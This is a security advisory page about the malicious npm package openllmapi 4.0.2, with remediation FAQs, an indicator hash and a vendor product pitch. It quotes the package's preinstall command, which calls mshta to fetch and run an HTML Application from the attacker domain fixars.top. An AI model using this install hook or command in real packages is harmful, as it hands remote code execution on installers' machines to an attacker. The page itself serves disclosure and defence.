Which versions of openllmapi are malicious?

The following npm versions of openllmapi are flagged malicious: 4.0.2. Treat any of these as compromised.

How do I remediate openllmapi if I installed it?

Remove openllmapi from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed openllmapi — how do I know if it already compromised me?

If openllmapi was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is openllmapi part of a known attack campaign?

Yes — openllmapi is associated with the IN-MAL-2026-007408 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find openllmapi across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for openllmapi (version 4.0.2).

Malicious package

openllmapinpm

Advisory published Jun 24, 2026Updated Jun 24, 2026

openllmapi is a confirmed malicious npm package (MAL-2026-6364) that executes malicious code on install (malicious version 4.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in openllmapi (npm)

MAL-2026-6364

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall openllmapi

What this malware does

The package's preinstall lifecycle script (preinstall.js line 3) runs cmd /c "mshta http://fixars.top", which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on npm install and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.

Malicious versions

1 flagged

4.0.2

Indicators of compromise (SHA-256)

9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for openllmapi (version 4.0.2).
If you installed it — respond
Remove openllmapi from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If openllmapi was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. openllmapi on npm has been identified as a malicious package (version 4.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007408

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks openllmapi-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database